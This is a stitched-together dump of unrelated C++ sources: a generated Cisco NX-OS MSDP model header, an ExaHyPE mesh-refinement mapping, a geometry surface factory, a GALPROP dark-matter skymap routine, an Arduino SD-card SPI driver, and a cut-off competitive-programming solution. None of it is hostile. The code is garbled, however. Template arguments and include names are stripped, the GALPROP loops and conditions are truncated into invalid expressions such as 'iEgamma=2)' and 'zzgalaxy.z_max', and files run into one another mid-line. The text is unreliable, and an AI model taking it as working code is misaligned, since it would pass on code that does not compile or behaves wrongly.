& segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; std::string get_absolute_path() const override; ydk::YLeaf name; //type: string ydk::YLeaf adminst; //type: NwAdminSt___ ydk::YLeaf ctrl; //type: string class DomItems; //type: System::MsdpItems::InstItems::DomItems std::shared_ptr dom_items; }; // System::MsdpItems::InstItems class System::MsdpItems::InstItems::DomItems : public ydk::Entity { public: DomItems(); ~DomItems(); bool has_data() const override; bool has_operation() const override; std::vector > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; std::string get_absolute_path() const override; class DomList; //type: System::MsdpItems::InstItems::DomItems::DomList ydk::YList dom_list; }; // System::MsdpItems::InstItems::DomItems class System::MsdpItems::InstItems::DomItems::DomList : public ydk::Entity { public: DomList(); ~DomList(); bool has_data() const override; bool has_operation() const override; std::vector > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; std::string get_absolute_path() const override; ydk::YLeaf name; //type: string ydk::YLeaf origif; //type: string ydk::YLeaf srcactivemsgintvl; //type: uint16 ydk::YLeaf reconnintvl; //type: uint16 ydk::YLeaf ctrl; //type: string class DbItems; //type: System::MsdpItems::InstItems::DomItems::DomList::DbItems class MaxgrpItems; //type: System::MsdpItems::InstItems::DomItems::DomList::MaxgrpItems class EventHistItems; //type: System::MsdpItems::InstItems::DomItems::DomList::EventHistItems class PeerItems; //type: System::MsdpItems::InstItems::DomItems::DomList::PeerItems class InterleakpItems; //type: System::MsdpItems::InstItems::DomItems::DomList::InterleakpItems std::shared_ptr db_items; std::shared_ptr maxgrp_items; std::shared_ptr eventhist_items; std::shared_ptr peer_items; std::shared_ptr interleakp_items; }; // System::MsdpItems::InstItems::DomItems::DomList class System::MsdpItems::InstItems::DomItems::DomList::DbItems : public ydk::Entity { public: DbItems(); ~DbItems(); bool has_data() const override; bool has_operation() const override; std::vector > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; class DbList; //type: System::MsdpItems::InstItems::DomItems::DomList::DbItems::DbList ydk::YList db_list; }; // System::MsdpItems::InstItems::DomItems::DomList::DbItems class System::MsdpItems::InstItems::DomItems::DomList::DbItems::DbList : public ydk::Entity { public: DbList(); ~DbList(); bool has_data() const override; bool has_operation() const override; std::vector > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeaf type; //type: MsdpDbT ydk::YLeaf name; //type: string class SrcItems; //type: System::MsdpItems::InstItems::DomItems::DomList::DbItems::DbList::SrcItems class SourceItems; //type: System::MsdpItems::InstItems::DomItems::DomList::DbItems::DbList::SourceItems std::shared_ptr src_items; std::shared_ptr source_items; }; // System::MsdpItems::InstItems::DomItems::DomList::DbItems::DbList class System::MsdpItems::InstItems::DomItems::DomList::DbItems::DbList::SrcItems : public ydk::Entity { public: SrcItems(); ~SrcItems(); bool has_data() const override; bool has_operation() const override; std::vector > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; class RouteList; //type: System::MsdpItems::InstItems::DomItems::DomList::DbItems::DbList::SrcItems::RouteList ydk::YList route_list; }; // System::MsdpItems::InstItems::DomItems::DomList::DbItems::DbList::SrcItems class System::MsdpItems::InstItems::DomItems::DomList::DbItems::DbList::SrcItems::RouteList : public ydk::Entity { public: RouteList(); ~RouteList(); bool has_data() const override; bool has_operation() const override; std::vector > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeaf src; //type: string ydk::YLeaf grp; //type: string ydk::YLeaf rp; //type: string ydk::YLeaf peer; //type: string ydk::YLeaf asn; //type: string ydk::YLeaf createts; //type: one of uint64, string ydk::YLeaf expirets; //type: one of uint64, string ydk::YLeaf sacnt; //type: uint32 ydk::YLeaf datapkt; //type: uint32 }; // System::MsdpItems::InstItems::DomItems::DomList::DbItems::DbList::SrcItems::RouteList class System::MsdpItems::InstItems::DomItems::DomList::DbItems::DbList::SourceItems : public ydk::Entity { public: SourceItems(); ~SourceItems(); bool has_data() const override; bool has_operation() const override; std::vector > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; class SourceList; //type: System::MsdpItems::InstItems::DomItems::DomList::DbItems::DbList::SourceItems::SourceList ydk::YList source_list; }; // System::MsdpItems::InstItems::DomItems::DomList::DbItems::DbList::SourceItems class System::MsdpItems::InstItems::DomItems::DomList::DbItems::DbList::SourceItems::SourceList : public ydk::Entity { public: SourceList(); ~SourceList(); bool has_data() const override; bool has_operation() const override; std::vector > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeaf addr; //type: string ydk::YLeaf grpcnt; //type: uint32 ydk::YLeaf grplimit; //type: uint32 ydk::YLeaf srcpfx; //type: string ydk::YLeaf violations; //type: uint32 }; // System::MsdpItems::InstItems::DomItems::DomList::DbItems::DbList::SourceItems::SourceList } } #endif /* _CISCO_NX_OS_DEVICE_44_ */ 1-10 /** * This file is part of the ExaHyPE project. * Copyright (c) 2016 http://exahype.eu * All rights reserved. * * The project has received funding from the European Union's Horizon * 2020 research and innovation programme under grant agreement * No 671698. For copyrights and licensing, please consult the webpage. * * Released under the BSD 3 Open Source License. * For the full license text, see LICENSE.txt **/ #include "exahype/mappings/FinaliseMeshRefinement.h" #include "multiscalelinkedcell/HangingVertexBookkeeper.h" #include "tarch/multicore/Loop.h" #include "peano/datatraversal/autotuning/Oracle.h" #include "peano/datatraversal/TaskSet.h" #include "peano/parallel/loadbalancing/Oracle.h" #include "exahype/solvers/LimitingADERDGSolver.h" #include "exahype/mappings/MeshRefinement.h" #include "exahype/mappings/RefinementStatusSpreading.h" peano::CommunicationSpecification exahype::mappings::FinaliseMeshRefinement::communicationSpecification() const { return peano::CommunicationSpecification( peano::CommunicationSpecification::ExchangeMasterWorkerData::MaskOutMasterWorkerDataAndStateExchange, peano::CommunicationSpecification::ExchangeWorkerMasterData::SendDataAndStateAfterLastTouchVertexLastTime,true); } peano::MappingSpecification exahype::mappings::FinaliseMeshRefinement::enterCellSpecification(int level) const { const int coarsestSolverLevel = solvers::Solver::getCoarsestMeshLevelOfAllSolvers(); if ( std::abs(level)>=coarsestSolverLevel ) { return peano::MappingSpecification( peano::MappingSpecification::WholeTree, peano::MappingSpecification::RunConcurrentlyOnFineGrid,true); // performs reduction } else { return peano::MappingSpecification( peano::MappingSpecification::Nop, peano::MappingSpecification::RunConcurrentlyOnFineGrid,false); } } // Below all specs are Nop peano::MappingSpecification exahype::mappings::FinaliseMeshRefinement:: touchVertexFirstTimeSpecification(int level) const { return peano::MappingSpecification( peano::MappingSpecification::Nop, peano::MappingSpecification::RunConcurrentlyOnFineGrid,false); } peano::MappingSpecification exahype::mappings::FinaliseMeshRefinement::leaveCellSpecification(int level) const { return peano::MappingSpecification( peano::MappingSpecification::Nop, peano::MappingSpecification::RunConcurrentlyOnFineGrid,false); } peano::MappingSpecification exahype::mappings::FinaliseMeshRefinement::touchVertexLastTimeSpecification(int level) const { return peano::MappingSpecification( peano::MappingSpecification::Nop, peano::MappingSpecification::RunConcurrentlyOnFineGrid,false); } peano::MappingSpecification exahype::mappings::FinaliseMeshRefinement::ascendSpecification(int level) const { return peano::MappingSpecification( peano::MappingSpecification::Nop, peano::MappingSpecification::AvoidCoarseGridRaces,false); } peano::MappingSpecification exahype::mappings::FinaliseMeshRefinement::descendSpecification(int level) const { return peano::MappingSpecification( peano::MappingSpecification::Nop, peano::MappingSpecification::AvoidCoarseGridRaces,false); } tarch::logging::Log exahype::mappings::FinaliseMeshRefinement::_log( "exahype::mappings::FinaliseMeshRefinement"); bool exahype::mappings::FinaliseMeshRefinement::OneSolverRequestedMeshUpdate = false; exahype::mappings::FinaliseMeshRefinement::FinaliseMeshRefinement() {} exahype::mappings::FinaliseMeshRefinement::~FinaliseMeshRefinement() {} #if defined(SharedMemoryParallelisation) exahype::mappings::FinaliseMeshRefinement::FinaliseMeshRefinement(const FinaliseMeshRefinement& masterThread) { _backgroundJobsHaveTerminated=masterThread._backgroundJobsHaveTerminated; } // Merge over threads void exahype::mappings::FinaliseMeshRefinement::mergeWithWorkerThread( const FinaliseMeshRefinement& workerThread) { // do nothing } #endif void exahype::mappings::FinaliseMeshRefinement::beginIteration(exahype::State& solverState) { logTraceInWith1Argument("beginIteration(State)", solverState); tarch::multicore::jobs::Job::setMaxNumberOfRunningBackgroundThreads( solvers::Solver::MaxNumberOfRunningBackgroundJobConsumerTasksDuringTraversal); // reset the number of running consumer threads // TODO(Dominic): What is this? peano::parallel::loadbalancing::Oracle::getInstance().activateLoadBalancing(false); OneSolverRequestedMeshUpdate = exahype::solvers::Solver::oneSolverRequestedMeshRefinement(); exahype::mappings::MeshRefinement::IsFirstIteration = true; #ifdef Parallel // hack to enforce reductions solverState.setReduceStateAndCell(true); #endif logTraceOutWith1Argument("beginIteration(State)", solverState); } void exahype::mappings::FinaliseMeshRefinement::enterCell( exahype::Cell& fineGridCell, exahype::Vertex* const fineGridVertices, const peano::grid::VertexEnumerator& fineGridVerticesEnumerator, exahype::Vertex* const coarseGridVertices, const peano::grid::VertexEnumerator& coarseGridVerticesEnumerator, exahype::Cell& coarseGridCell, const tarch::la::Vector& fineGridPositionOfCell) { if ( OneSolverRequestedMeshUpdate && fineGridCell.isInitialised() ) { if ( !_backgroundJobsHaveTerminated ) { exahype::solvers::Solver::ensureAllJobsHaveTerminated(exahype::solvers::Solver::JobType::AMRJob); _backgroundJobsHaveTerminated = true; } // TODO(Dominic): Still necessary? Mesh Refinement terminates the background jobs in endIteration now. solvers::Solver::CellInfo cellInfo = fineGridCell.createCellInfo(); for (unsigned int solverNumber=0; solverNumber < exahype::solvers::RegisteredSolvers.size(); solverNumber++) { auto* solver = exahype::solvers::RegisteredSolvers[solverNumber]; if ( solver->hasRequestedAnyMeshRefinement() ) { solver->finaliseStateUpdates(solverNumber,cellInfo); if ( solver->getMeshUpdateEvent()==exahype::solvers::Solver::MeshUpdateEvent::RefinementRequested ) { // is not the same as the above check solver->rollbackSolutionGlobally(solverNumber,cellInfo); } // compute a new time step size double admissibleTimeStepSize = solver->updateTimeStepSize(solverNumber,cellInfo); solver->updateAdmissibleTimeStepSize(admissibleTimeStepSize); // determine min and max for LimitingADERDGSolver if (solver->getType()==exahype::solvers::Solver::Type::LimitingADERDG) { auto* limitingADERDGSolver = static_cast(solver); limitingADERDGSolver->determineMinAndMax(solverNumber,cellInfo); assertion(limitingADERDGSolver->getMeshUpdateEvent()!=exahype::solvers::Solver::MeshUpdateEvent::IrregularLimiterDomainChange); } } } Cell::resetNeighbourMergePerformedFlags(cellInfo,fineGridVertices,fineGridVerticesEnumerator); } } void exahype::mappings::FinaliseMeshRefinement::endIteration( exahype::State& solverState) { if (OneSolverRequestedMeshUpdate) { if (exahype::mappings::MeshRefinement::IsInitialMeshRefinement) { peano::performanceanalysis::Analysis::getInstance().enable(true); }; exahype::mappings::MeshRefinement::IsInitialMeshRefinement = false; exahype::mappings::MeshRefinement::IsFirstIteration = true; if ( tarch::parallel::Node::getInstance().isGlobalMaster() ) { for (auto* solver : solvers::RegisteredSolvers) { if ( solver->hasRequestedAnyMeshRefinement() ) { solver->updateTimeStepSize(); } } } } _backgroundJobsHaveTerminated = false; } #ifdef Parallel void exahype::mappings::FinaliseMeshRefinement::mergeWithNeighbour( exahype::Vertex& vertex, const exahype::Vertex& neighbour, int fromRank, const tarch::la::Vector& fineGridX, const tarch::la::Vector& fineGridH, int level) { logTraceInWith6Arguments("mergeWithNeighbour(...)", vertex, neighbour, fromRank, fineGridX, fineGridH, level); if ( exahype::solvers::Solver::oneSolverRequestedMeshRefinement() ) { vertex.dropNeighbourMetadata(fromRank,fineGridX,fineGridH,level); } logTraceOut("mergeWithNeighbour(...)"); } bool exahype::mappings::FinaliseMeshRefinement::prepareSendToWorker( exahype::Cell& fineGridCell, exahype::Vertex* const fineGridVertices, const peano::grid::VertexEnumerator& fineGridVerticesEnumerator, exahype::Vertex* const coarseGridVertices, const peano::grid::VertexEnumerator& coarseGridVerticesEnumerator, exahype::Cell& coarseGridCell, const tarch::la::Vector& fineGridPositionOfCell, int worker) { return true; // tells master this worker wants to reduce } void exahype::mappings::FinaliseMeshRefinement::prepareSendToMaster( exahype::Cell& localCell, exahype::Vertex* vertices, const peano::grid::VertexEnumerator& verticesEnumerator, const exahype::Vertex* const coarseGridVertices, const peano::grid::VertexEnumerator& coarseGridVerticesEnumerator, const exahype::Cell& coarseGridCell, const tarch::la::Vector& fineGridPositionOfCell) { const int masterRank = tarch::parallel::NodePool::getInstance().getMasterRank(); for (auto* solver : exahype::solvers::RegisteredSolvers) { if ( solver->hasRequestedAnyMeshRefinement() ) { solver->sendDataToMaster(masterRank,0.0,0); } } } void exahype::mappings::FinaliseMeshRefinement::mergeWithMaster( const exahype::Cell& workerGridCell, exahype::Vertex* const workerGridVertices, const peano::grid::VertexEnumerator& workerEnumerator, exahype::Cell& fineGridCell, exahype::Vertex* const fineGridVertices, const peano::grid::VertexEnumerator& fineGridVerticesEnumerator, exahype::Vertex* const coarseGridVertices, const peano::grid::VertexEnumerator& coarseGridVerticesEnumerator, exahype::Cell& coarseGridCell, const tarch::la::Vector& fineGridPositionOfCell, int workerRank, const exahype::State& workerState, exahype::State& masterState) { for (auto* solver : exahype::solvers::RegisteredSolvers) { if ( solver->hasRequestedAnyMeshRefinement() ) { solver->mergeWithWorkerData(workerRank,0.0,0); } } } // // All methods below are nop. // // ==================================== void exahype::mappings::FinaliseMeshRefinement::prepareSendToNeighbour( exahype::Vertex& vertex, int toRank, const tarch::la::Vector& x, const tarch::la::Vector& h, int level) {} void exahype::mappings::FinaliseMeshRefinement::prepareCopyToRemoteNode( exahype::Vertex& localVertex, int toRank, const tarch::la::Vector& x, const tarch::la::Vector& h, int level) {} void exahype::mappings::FinaliseMeshRefinement::prepareCopyToRemoteNode( exahype::Cell& localCell, int toRank, const tarch::la::Vector& cellCentre, const tarch::la::Vector& cellSize, int level) {} void exahype::mappings::FinaliseMeshRefinement:: mergeWithRemoteDataDueToForkOrJoin( exahype::Vertex& localVertex, const exahype::Vertex& masterOrWorkerVertex, int fromRank, const tarch::la::Vector& x, const tarch::la::Vector& h, int level) {} void exahype::mappings::FinaliseMeshRefinement:: mergeWithRemoteDataDueToForkOrJoin( exahype::Cell& localCell, const exahype::Cell& masterOrWorkerCell, int fromRank, const tarch::la::Vector& cellCentre, const tarch::la::Vector& cellSize, int level) {} void exahype::mappings::FinaliseMeshRefinement::receiveDataFromMaster( exahype::Cell& receivedCell, exahype::Vertex* receivedVertices, const peano::grid::VertexEnumerator& receivedVerticesEnumerator, exahype::Vertex* const receivedCoarseGridVertices, const peano::grid::VertexEnumerator& receivedCoarseGridVerticesEnumerator, exahype::Cell& receivedCoarseGridCell, exahype::Vertex* const workersCoarseGridVertices, const peano::grid::VertexEnumerator& workersCoarseGridVerticesEnumerator, exahype::Cell& workersCoarseGridCell, const tarch::la::Vector& fineGridPositionOfCell) {} void exahype::mappings::FinaliseMeshRefinement::mergeWithWorker( exahype::Cell& localCell, const exahype::Cell& receivedMasterCell, const tarch::la::Vector& cellCentre, const tarch::la::Vector& cellSize, int level) {} void exahype::mappings::FinaliseMeshRefinement::mergeWithWorker( exahype::Vertex& localVertex, const exahype::Vertex& receivedMasterVertex, const tarch::la::Vector& x, const tarch::la::Vector& h, int level) {} #endif void exahype::mappings::FinaliseMeshRefinement::createHangingVertex( exahype::Vertex& fineGridVertex, const tarch::la::Vector& fineGridX, const tarch::la::Vector& fineGridH, exahype::Vertex* const coarseGridVertices, const peano::grid::VertexEnumerator& coarseGridVerticesEnumerator, exahype::Cell& coarseGridCell, const tarch::la::Vector& fineGridPositionOfVertex) {} void exahype::mappings::FinaliseMeshRefinement::destroyHangingVertex( const exahype::Vertex& fineGridVertex, const tarch::la::Vector& fineGridX, const tarch::la::Vector& fineGridH, exahype::Vertex* const coarseGridVertices, const peano::grid::VertexEnumerator& coarseGridVerticesEnumerator, exahype::Cell& coarseGridCell, const tarch::la::Vector& fineGridPositionOfVertex) {} void exahype::mappings::FinaliseMeshRefinement::createInnerVertex( exahype::Vertex& fineGridVertex, const tarch::la::Vector& fineGridX, const tarch::la::Vector& fineGridH, exahype::Vertex* const coarseGridVertices, const peano::grid::VertexEnumerator& coarseGridVerticesEnumerator, exahype::Cell& coarseGridCell, const tarch::la::Vector& fineGridPositionOfVertex) {} void exahype::mappings::FinaliseMeshRefinement::createBoundaryVertex( exahype::Vertex& fineGridVertex, const tarch::la::Vector& fineGridX, const tarch::la::Vector& fineGridH, exahype::Vertex* const coarseGridVertices, const peano::grid::VertexEnumerator& coarseGridVerticesEnumerator, exahype::Cell& coarseGridCell, const tarch::la::Vector& fineGridPositionOfVertex) {} void exahype::mappings::FinaliseMeshRefinement::destroyVertex( const exahype::Vertex& fineGridVertex, const tarch::la::Vector& fineGridX, const tarch::la::Vector& fineGridH, exahype::Vertex* const coarseGridVertices, const peano::grid::VertexEnumerator& coarseGridVerticesEnumerator, exahype::Cell& coarseGridCell, const tarch::la::Vector& fineGridPositionOfVertex) {} void exahype::mappings::FinaliseMeshRefinement::createCell( exahype::Cell& fineGridCell, exahype::Vertex* const fineGridVertices, const peano::grid::VertexEnumerator& fineGridVerticesEnumerator, exahype::Vertex* const coarseGridVertices, const peano::grid::VertexEnumerator& coarseGridVerticesEnumerator, exahype::Cell& coarseGridCell, const tarch::la::Vector& fineGridPositionOfCell) {} void exahype::mappings::FinaliseMeshRefinement::destroyCell( const exahype::Cell& fineGridCell, exahype::Vertex* const fineGridVertices, const peano::grid::VertexEnumerator& fineGridVerticesEnumerator, exahype::Vertex* const coarseGridVertices, const peano::grid::VertexEnumerator& coarseGridVerticesEnumerator, exahype::Cell& coarseGridCell, const tarch::la::Vector& fineGridPositionOfCell) {} void exahype::mappings::FinaliseMeshRefinement::touchVertexFirstTime( exahype::Vertex& fineGridVertex, const tarch::la::Vector& fineGridX, const tarch::la::Vector& fineGridH, exahype::Vertex* const coarseGridVertices, const peano::grid::VertexEnumerator& coarseGridVerticesEnumerator, exahype::Cell& coarseGridCell, const tarch::la::Vector& fineGridPositionOfVertex) {} void exahype::mappings::FinaliseMeshRefinement::touchVertexLastTime( exahype::Vertex& fineGridVertex, const tarch::la::Vector& fineGridX, const tarch::la::Vector& fineGridH, exahype::Vertex* const coarseGridVertices, const peano::grid::VertexEnumerator& coarseGridVerticesEnumerator, exahype::Cell& coarseGridCell, const tarch::la::Vector& fineGridPositionOfVertex) {} void exahype::mappings::FinaliseMeshRefinement::leaveCell( exahype::Cell& fineGridCell, exahype::Vertex* const fineGridVertices, const peano::grid::VertexEnumerator& fineGridVerticesEnumerator, exahype::Vertex* const coarseGridVertices, const peano::grid::VertexEnumerator& coarseGridVerticesEnumerator, exahype::Cell& coarseGridCell, const tarch::la::Vector& fineGridPositionOfCell) {} void exahype::mappings::FinaliseMeshRefinement::descend( exahype::Cell* const fineGridCells, exahype::Vertex* const fineGridVertices, const peano::grid::VertexEnumerator& fineGridVerticesEnumerator, exahype::Vertex* const coarseGridVertices, const peano::grid::VertexEnumerator& coarseGridVerticesEnumerator, exahype::Cell& coarseGridCell) {} void exahype::mappings::FinaliseMeshRefinement::ascend( exahype::Cell* const fineGridCells, exahype::Vertex* const fineGridVertices, const peano::grid::VertexEnumerator& fineGridVerticesEnumerator, exahype::Vertex* const coarseGridVertices, const peano::grid::VertexEnumerator& coarseGridVerticesEnumerator, exahype::Cell& coarseGridCell) {} source/SurfaceFactory.cpp #include "model/SurfaceFactory.h" #include "model/ParametricEquations.h" namespace model { Surface* SurfaceFactory::Create(const std::string& name) { Surface* surface = nullptr; if (name == Box::TYPE_NAME) { surface = new Box(); } else if (name == Cone::TYPE_NAME) { surface = new Cone(2, 1); } else if (name == Sphere::TYPE_NAME) { surface = new Sphere(1); } else if (name == Torus::TYPE_NAME) { surface = new Torus(0.5f, 0.2f); } else if (name == TrefoilKnot::TYPE_NAME) { surface = new TrefoilKnot(1); } else if (name == MobiusStrip::TYPE_NAME) { surface = new MobiusStrip(0.2f); } else if (name == KleinBottle::TYPE_NAME) { surface = new KleinBottle(0.1f); } return surface; } }bjbuckman/galprop_bb_0 //**.****|****.****|****.****|****.****|****.****|****.****|****.****|****.****| // * gen_DM_skymap.cc * galprop package * 9/14/2005 //**"****!****"****!****"****!****"****!****"****!****"****!****"****!****"****| // generate DM photons skymaps IMOS20050912 // Calculates for galdef.z_min<=Z<=galdef.z_max only using namespace std; #include"galprop_classes.h" #include"galprop_internal.h" #include int Galprop::gen_DM_skymap() { INFO("Entry"); int stat=0; if (galdef.skymap_format == 3 || 4 == galdef.skymap_format) { #pragma omp parallel for default(shared) for (int ip = 0; ip < galaxy.DM_hp_skymap.Npix(); ++ip) { SM::Coordinate co(galaxy.DM_hp_skymap.pix2ang(ip)); double l=co.l(); double b=co.b(); vector DM; gen_DM_skymap_pixel(l, b,DM); for(int iEgamma=0; iEgamma=2) { cout<<" DM skymap "<=2 } else { #pragma omp parallel for schedule(dynamic) default(shared) for(int i_long=0; i_long DM; gen_DM_skymap_pixel(l, b,DM); for(int iEgamma=0; iEgamma=2) { cout<<" DM skymap "<=2 } INFO("Exit"); return stat; } //**"****!****"****!****"****!****"****!****"****!****"****!****"****!****"****| // calc. of a 2D array of g-ray emission for the given E_gammagrid for a // particular pixel (l,b) IMOS20080114 //**"****!****"****!****"****!****"****!****"****!****"****!****"****!****"****| int Galprop::gen_DM_skymap_pixel(const double l, const double b, vector &DM) { double dtr=acos(-1.)/180.; int ir,ix,iy,iz; if(galdef.verbose>=1) cout<<" gen_DM_skymap l b ="<galdef.LoS_step) dd=galdef.LoS_step; // max integration step in kpc DM.resize(galaxy.n_E_gammagrid, 0); while(complete==0) { d += dd; double zz=d*sinb; double RR=sqrt(Rsun*Rsun+pow(d*cosb,2)-2.0*Rsun*d*cosb*cosl); //IMOS20080114 double xx,yy; //IMOS20080114 // checks if we got to the Galactic boundary in 2D, if so stop integration if(gcr[0].n_spatial_dimensions==2) { // find the nearest grid points on the LEFT side of the current point ir=(int)((RR-galaxy.r_min)/galaxy.dr); iz=(int)((zz-galaxy.z_min)/galaxy.dz); // checks if we got to the Galactic boundary in 2D, if so stop integration if(RR>galaxy.r_max) complete=1; if(zzgalaxy.z_max) complete=1; if(ir>galaxy.n_rgrid-1) { complete=1; ir=galaxy.n_rgrid-1; } if(iz<0 ) { complete=1; iz=0; } if(iz>galaxy.n_zgrid-1) { complete=1; iz=galaxy.n_zgrid-1; } // cout<<"d RR zz ir iz "<galaxy.n_xgrid-1) { complete=1; ix=galaxy.n_xgrid-1; } if(iy>galaxy.n_ygrid-1) { complete=1; iy=galaxy.n_ygrid-1; } if(iz>galaxy.n_zgrid-1) { complete=1; iz=galaxy.n_zgrid-1; } if(zzgalaxy.z_max) complete=1; // if(fabs(zz) > zzmax ) complete=1; // cout<<"d RR xx yy zz ix iy iz "<> "<zhengzhengxiaogege/Arduino_SDcard #include #include #include "pins_arduino.h" #include #include "sd_l0.h" uint8_t SD_L0_CSPin; /** * Setup pins and SPI for operation with sd-card. * * Pin settings: * - Set all pins for proper operation * - power up card if needed * * SPI configuration: * - enable uC for SPI master * - typical no interrupts are used for SPI * - data order: MSB is transmitted first * - clock polarity: CLK is low when idle * - clock phase: 1-0 > Sample, 0-1 > Setup * - clock frequency: less than 400kHz * (will be switched to higher value after initialization) * */ void SD_L0_Init(void) { /* Power up card */ // not for arduino /* Setup ports */ pinMode(SD_L0_CSPin, OUTPUT); SD_L0_SetCSHigh(); // pinMode(SD_L0_SPI_MISO_PIN, INPUT); // pinMode(SD_L0_SPI_MOSI_PIN, OUTPUT); // pinMode(SD_L0_SPI_SCK_PIN, OUTPUT); // pinMode(SD_L0_SPI_SS_FORCE_OUTPUT, OUTPUT); pinMode(MISO, INPUT); pinMode(SCK, OUTPUT); pinMode(MOSI, OUTPUT); pinMode(SS, OUTPUT); digitalWrite(SCK, LOW); digitalWrite(MOSI, LOW); digitalWrite(SS, HIGH); /* Powering up takes at least 500us for capacitors to charge */ // not for arduino /* initialize SPI with lowest frequency; max. 400kHz during identification mode of card */ SPCR = (0 << SPIE) | /* SPI Interrupt Enable */ (1 << SPE) | /* SPI Enable */ (0 << DORD) | /* Data Order: MSB first */ (1 << MSTR) | /* Master mode */ (0 << CPOL) | /* Clock Polarity: SCK low when idle */ (0 << CPHA) | /* Clock Phase: sample on rising SCK edge */ (1 << SPR1) | /* Clock Frequency: f_OSC / 128 */ (1 << SPR0); SPSR &= ~(1 << SPI2X); /* No doubled clock frequency */ } /** * Setup pins and SPI for minimum power consumption. * Deactivate SPI and power from card */ void SD_L0_DeInit(void) { SPCR &= ~(1 << SPE); /* Setup ports */ /* for safe eject */ pinMode(SD_L0_CSPin, INPUT); pinMode(MISO, INPUT); pinMode(MOSI, INPUT); pinMode(SCK, INPUT); digitalWrite(SD_L0_CSPin, HIGH); // Set CS high digitalWrite(SCK, HIGH); /* Power down card */ // not for arduino } /** * Set SPI for full operation speed (up to 25 MHz). * * Will be called after first part of card * initialization was successful. */ void SD_L0_SpiSetHighSpeed(void) { SPCR &= ~((1 << SPR1) | (1 << SPR0)); /* Clock Frequency: f_OSC / 4 */ SPSR |= (1 << SPI2X); /* Doubled Clock Frequency: f_OSC / 2 */ } /** * Receives a raw byte from the SPI. * * \returns The byte which should be read. */ uint8_t SD_L0_SpiRecvByte() { /* send dummy data for receiving some */ SPDR = 0xff; while(!(SPSR & (1 << SPIF))); SPSR &= ~(1 << SPIF); return SPDR; } /** * Sends a raw byte to the SPI. * * \param[in] b The byte to sent. */ void SD_L0_SpiSendByte(uint8_t b) { SPDR = b; /* wait for byte to be shifted out */ while(!(SPSR & (1 << SPIF))); SPSR &= ~(1 << SPIF); } /** * SPI read data - only one call so force inline * * Receives nbytes in buf. Send 0xff all the time. */ //inline __attribute__((always_inline)) void SD_L0_SpiRecvBlock(uint8_t *buf, uint16_t nbyte) { if (nbyte-- == 0) return; SPDR = 0xFF; for (uint16_t i = 0; i < nbyte; i++) { while (!(SPSR & (1 << SPIF))); buf[i] = SPDR; SPDR = 0xFF; } while (!(SPSR & (1 << SPIF))); buf[nbyte] = SPDR; } /** * SPI send block - only one call so force inline * * Sends the token and 512 data bytes from buffer afterwards. */ //inline __attribute__((always_inline)) void SD_L0_SpiSendBlock(uint8_t token, const uint8_t *buf) { SPDR = token; for (uint16_t i = 0; i < 512; i += 2) { while (!(SPSR & (1 << SPIF))); SPDR = buf[i]; while (!(SPSR & (1 << SPIF))); SPDR = buf[i + 1]; } while (!(SPSR & (1 << SPIF))); } #include #include #include #include #include using namespace __gnu_pbds; using namespace std; #define imie(...) " [" << #__VA_ARGS__ ": " << (__VA_ARGS__) << "] " #define endl '\n' using ll = long long; const int precision = 16; const int modulo = 1000000007; // 10^9 + 7 const ll lmodulo = 1000000007; // 10^9 + 7 const double EPS = 1e-9; void solveA(){ int n, k; cin >> n >> k; vector walks(n); for(auto &it: walks) { cin >> it; } vector ans(n); ans[0] = walks[0]; int acc = 0; for(auto i = 1; i < n; ++i) { ans[i] = max(walks[i], k - ans[i - 1]); acc += ans[i] == walks[i] ? 0 : ans[i] - walks[i]; } cout << acc << endl; for(auto it : ans) { cout << it << " "; } } int main() { ios_base::sync_with_stdio(false); cin.tie(nullptr); cout.tie(nullptr); cout.precision(precision); 